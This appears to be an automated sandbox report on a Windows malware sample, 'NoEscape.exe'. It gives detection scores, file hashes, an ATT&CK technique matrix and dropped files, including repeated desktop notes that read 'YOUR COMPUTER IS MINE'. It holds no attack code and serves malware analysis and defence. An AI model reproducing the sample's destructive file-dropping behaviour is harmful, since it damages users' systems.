Local Accounts	At (Windows)	Logon Script (Mac)	Registry Run Keys / Startup Folder1	Process Injection11	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	NTFS File Attributes1	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information2	Cached Domain Credentials	File and Directory Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Bootkit1	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing13	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
NoEscape.exe	76%	Virustotal		Browse
NoEscape.exe	30%	Metadefender		Browse
NoEscape.exe	83%	ReversingLabs	Win32.Trojan.Glupteba
NoEscape.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\winnt32.exe	100%	Joe Sandbox ML
C:\Windows\winnt32.exe	76%	Virustotal		Browse
C:\Windows\winnt32.exe	30%	Metadefender		Browse
C:\Windows\winnt32.exe	83%	ReversingLabs	Win32.Trojan.Glupteba

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.NoEscape.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2		Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	332607
Start date:	20.12.2020
Start time:	17:32:50
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 2m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	NoEscape.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.evad.winEXE@1/97@0/0
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 100% (good quality ratio 89.2%) Quality average: 69.5% Quality standard deviation: 32.9%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\User Account Pictures\user-192.png Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	PNG image data, 192 x 192, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1338
Entropy (8bit):	7.495273135581113
Encrypted:	false
SSDEEP:	24:rspyc/RBcpq28c/R8kk1TdrEF5hF+FiiRnZmUlGbtN:PqnWq3c/CTdihFtiRnTO
MD5:	6BF949C62C5E9D07593BA5B604E36773
SHA1:	1EABCD6BFD16216C7B4C0D557F072AE2F88987CA
SHA-256:	E54EA8405024F1FA72E470417059BDD186B0A3836F7D5E1C2C95C6003383912F
SHA-512:	29A53F39949994B462EB0CE68D382ABCB72284573D75475EF38AD8D442D389442E60DD99E705BE29AC61FFBDC3969E692482953DA992BD65948B0995CB57BB07
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............e..5....sRGB.........gAMA......a.....PLTE......p..U..F...................=.....B.....(..........................Y.............................q..U..p.....#.."..........o.....i.....7.................E..R..Q..S..A..{.................Ex.n....pHYs..........o.d....IDATx^..{W.@..pQ..(jAQQk.>............I&a79.,........6.sDDDDDDDDDDDDDDDDDd.1..\.i..7...fi.5.....J.........k 9y.YHR{....X,Y...Z.......>Klb.$ml...[...:z. ..y..I.o...'..y..I0E..q......I-EA.q.JQ`~......q.J.:....'...qo..vx..0...z]\|..m4.....sK...w..}....z..."....9s...C.")..-..CT....E..E.E3..Cx.b.1....3..0D1c.e..E#...p.jF.e..).6.z...H....bNf.....Vx...t.^...r...X@(8.#..p.j....G....9gX@............G..{.....>...b..0}...'......K.)+..!..(..(.h.....KT.\../...B'.....MbtQ=4.].7.....+.0......C/..G...7..S.s...'z.N.....c]..,...oh(.-VO.z.<I.]..[4. ......%.......b.Y..;...u.b.U....;4..>..U.?..U..F....I"E5.O"E...X..N~......8E.k.@.).4.,.lp...g0...pX41b6..d..Cnl.,nX&................R.y<k...w.

C:\ProgramData\Microsoft\User Account Pictures\user-32.png Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	PNG image data, 32 x 32, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	237
Entropy (8bit):	5.815511947842463
Encrypted:	false
SSDEEP:	6:6v/lhPTMR/rXR9+YAmN3ZlAGSxxjlOn1yQWfItVp:6v/7LM/7XNJlzSG1yQqY7
MD5:	5D572D54E293ACD90D5B8AD6036333DA
SHA1:	CEFA5E89C74F8EFC602002B4F6030D8A79CA6DEB
SHA-256:	4810DC6C101937DDE12D4581DE81E608EA144761D1307779DC6A256872330EDE
SHA-512:	9FF8A451447B69E1B7596B1FD64E15FDD3E74C4A69AE7AB81EED4E21ED758F210EC18D36F87919B6C8C5E42EA291D083073A9FBFBE24FC4DFB9269803D4BB04A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... ......Tg.....sRGB.........gAMA......a.....PLTE............e........T......j.....pHYs..........o.d...[IDAT(.c.d@I..o.....gV...$.&%. B.p.....f$..F .dS...P.`...g... ........v.....x..n2Bq......t.... V.....IEND.B`.

C:\ProgramData\Microsoft\User Account Pictures\user-40.png Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	PNG image data, 40 x 40, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	307
Entropy (8bit):	6.366384547747124
Encrypted:	false
SSDEEP:	6:6v/lhPusVR/Dirw4/N/09+KPMeoDNaa0VHOA/Uwp:6v/7H/OnY6DNaayHOA/Z
MD5:	D8E22EF10BD7AB65F56220D2845D6A94
SHA1:	75A58EAB37C76EFC8D10AD77E9DA17046DA4707A
SHA-256:	B115A4548AD8E9C7CADB707A0FF79FCD55D9D900EEFA7A922CA50C85C4D3CA1D
SHA-512:	1E72CF4E17B720E919E91AF5B3EC9EA28FE693A1E1966CE4BFCCF4883C3AE5228D6140010B58A684CEF19FA99C9A936F9AB24BE200FABA48F42089D748A22378
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...(...(...... H_....sRGB.........gAMA......a....3PLTE..................?..@...........Z..Y.....Y....._...e.....pHYs..........o.d....IDAT8O..I..@.DQ..20....B.l.....6]].....P4\|>.L......F.*.j.uz....O...W..y.pP.7............'.B.`UP$.9...P..s..]....l...k..o......w..A....<S....IEND.B`.

C:\ProgramData\Microsoft\User Account Pictures\user-48.png Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	353
Entropy (8bit):	6.529115432746735
Encrypted:	false
SSDEEP:	6:6v/lhPknlp8R/1dE7lgk8qsKMzej+bD9hsLGEUpegcudpsh+d+Ceo0Cc3p:6v/7+p8/1dE7wqsHh1EUI4dpsEd+CeoM
MD5:	C7572C5706CA8D652D6B87787AE7F5B2
SHA1:	CDA3A3B9117E6BE6CB8E41A48AED58124EABFDD5
SHA-256:	37C63EE5D26FB77F8E697FAEC3891673E40C449BF8411CFF806D852AE7506ADA
SHA-512:	8CB13C1296A914A525FAE134C31F75D5469AF1250160B73B9F6E1FDA4D16652EFBC68C1A55B116F1AA877CA198155609530FA4E2683990AA57D391D125544808
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....`.......sRGB.........gAMA......a....<PLTE....................................?...........@.................pHYs..........o.d....IDATHK.....0..a..P@T..]-.?... ........UQ....}..w.L....R...w/...Y=.ZQ.%ZE1..V.M.Y....Ka..UTi.i..S.:..Q.....)(....Y.\..v^..<.1......[.[..Bg.....{..H...)V.....2........x&.9..E.....IEND.B`.

C:\ProgramData\Microsoft\User Account Pictures\user.bmp Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	PC bitmap, Windows 3.x format, 448 x 448 x 24
Category:	dropped
Size (bytes):	602166
Entropy (8bit):	1.6118370934260748
Encrypted:	false
SSDEEP:	48:ZBBWaWXWcW5WuWzWQWlWCWvWEWRWWWrW4W9WKWHWMWpWeWjWAWVWyWfW0WBWGWba:ZB7x5+yK23sDmhkWkKrf
MD5:	2AB3698B005B421349512142ED6B965E
SHA1:	B07684E4AD4145C9BE7E070A4B2826BCAF165400
SHA-256:	150E95DA6C1E09511241130DA0E376878F5E24E21C2A9DFE7FBCC1022660E29F
SHA-512:	40086959198AFE931D8309A2526C6E4DE1872AC7D55B68179450C950DA67D01C0F57A8A07B782316E888165C1694F558699BBCBC5457743F2C1D3BCC3A3BEECE
Malicious:	false
Reputation:	low
Preview:	BM60......6...(....................0....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\User Account Pictures\user.png Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	PNG image data, 448 x 448, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1499
Entropy (8bit):	7.5610753390821
Encrypted:	false
SSDEEP:	24:AU7JTPuHGc20+n4H/bYo6o6LY/cICnPkWE+KDeaw1YIDo6pWTSetAbhC:rJymA+S/sVor/x6PkWE+KDTwboX6bk
MD5:	96F17C361A25164E71716D5BB56CB3D8
SHA1:	0E0792716A58E38F87DE25929122339C6CE9F1F8
SHA-256:	1025314EF977B5D07041B8B73E4ADBEA779E5E06096C3C66BD1F06FBBBA7FD1C
SHA-512:	95691FFBB5EE0B2E86489AA4ABD58059FC4C46BD267995EF2DF1611E7AC256AB2CCC67BBD2255359BF6EC9C0D7AF7177EC39F36FC9478901D68947028AF5B66A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................@....sRGB.........gAMA......a.....PLTE.........=.....a..3......z`.....pHYs..........o.d...LIDATx...Qn.8..a.+(...cC.B...]B.......m.61).:.......!.$&........................................w.]J.W..rw.X......?.R9>]^.e..U\|.B.?]..%..V_.....U_.....p................p~.....H.A.d............F.8.....0h.+.....CF......0`.+.......E.:.`...0X......'.P.v..(...E..`..{...aw.A"..0H.......CD.)...n.0@....p.Z......j?F7.P.1.=@......v...@.1:).4^G.S.z..M....s...N....._.....f...5....zl.h;..S....}#D.IX.....{...]'aYS_.B.IX.._......N........vX.H5r.IX-.:.J......]2Tm..gTu.z.2..O;E.'.....3.B.2...{.T`Q....P.h.8Q....=4Fu.h......M..J..".@.SCP..!(P....(\|j...>5....."}...\./z.C.P..A...7.........._....;.&...H.o.J..+.f...).o.M..9.........I..'........L..5.!....._.......u..n%..9..<J.iU.k.._......7.~.7..wQ...v.2Q.P}..T=p.j.......m\.:.....~.......PI...j.4.P..m...m#..h...@....ZF...2Bi...j.4..p.s....4.P=B/n...4.0.,...a.w..Y...K....=..jt...#.v~u.`?_.Q.s#....C..n..x;=~l.

C:\Users\Public\Desktop\ ?????????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?? ??????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?? ????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??(?????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??+???????????????????e???????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??5????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??7????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??? ???????????????:?? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	true
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???6?????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????? ???E????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Reputation:	low
